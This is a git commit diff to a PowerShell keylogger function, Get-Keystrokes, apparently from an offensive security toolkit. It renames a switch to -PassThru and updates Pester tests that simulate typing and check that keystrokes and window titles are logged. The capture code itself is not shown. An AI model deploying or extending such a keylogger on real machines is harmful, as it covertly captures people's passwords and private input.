Fixed Pester/PassThru

This commit is contained in:
Jesse Davis 2016-01-13 21:02:50 -06:00
parent f66e219bd6
commit 759bd481ae
2 changed files with 11 additions and 7 deletions

View File

@ -19,6 +19,10 @@ function Get-Keystrokes {
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PassThru
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
.EXAMPLE .EXAMPLE
Get-Keystrokes -LogPath C:\key.log Get-Keystrokes -LogPath C:\key.log
@ -43,7 +47,7 @@ function Get-Keystrokes {
[Double]$Timeout, [Double]$Timeout,
[Parameter()] [Parameter()]
[Switch]$Return [Switch]$PassThru
) )
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
@ -368,5 +372,5 @@ function Get-Keystrokes {
# Start KeyLogger # Start KeyLogger
[void]$PowerShell.BeginInvoke() [void]$PowerShell.BeginInvoke()
if ($Return.IsPresent) { return $PowerShell } if ($PassThru.IsPresent) { return $PowerShell }
} }

View File

@ -15,10 +15,10 @@ Describe 'Get-Keystrokes' {
$Shell = New-Object -ComObject wscript.shell $Shell = New-Object -ComObject wscript.shell
$Shell.AppActivate($WindowTitle) $Shell.AppActivate($WindowTitle)
$KeyLogger = Get-Keystrokes -Return $KeyLogger = Get-Keystrokes -PassThru
Start-Sleep -Seconds 1 Start-Sleep -Seconds 1
$Shell.SendKeys('Pester is SUPER l337!') $Shell.SendKeys("Pester`b`b`b`b`b`b")
$KeyLogger.Dispose() $KeyLogger.Dispose()
It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true }
@ -28,7 +28,7 @@ Describe 'Get-Keystrokes' {
It 'Should log all keystrokes' { It 'Should log all keystrokes' {
$Keys = $KeyObjects | % { $_.TypedKey } $Keys = $KeyObjects | % { $_.TypedKey }
$String = -join $Keys $String = -join $Keys
$String | Should Be '<Shift>Pester< >is< ><Shift>S<Shift>U<Shift>P<Shift>E<Shift>R< >l337<Shift>!' $String | Should Match 'Pester'
} }
It 'Should get foreground window title' { It 'Should get foreground window title' {
@ -40,10 +40,10 @@ Describe 'Get-Keystrokes' {
$KeyTime.GetType().Name | Should Be 'DateTime' $KeyTime.GetType().Name | Should Be 'DateTime'
} }
It 'Should stop logging Pester is SUPER l337!after timeout' { It 'Should stop logging after timeout' {
$Timeout = 0.05 $Timeout = 0.05
$KeyLogger = Get-Keystrokes -Timeout $Timeout -Return $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru
Start-Sleep -Seconds 4 Start-Sleep -Seconds 4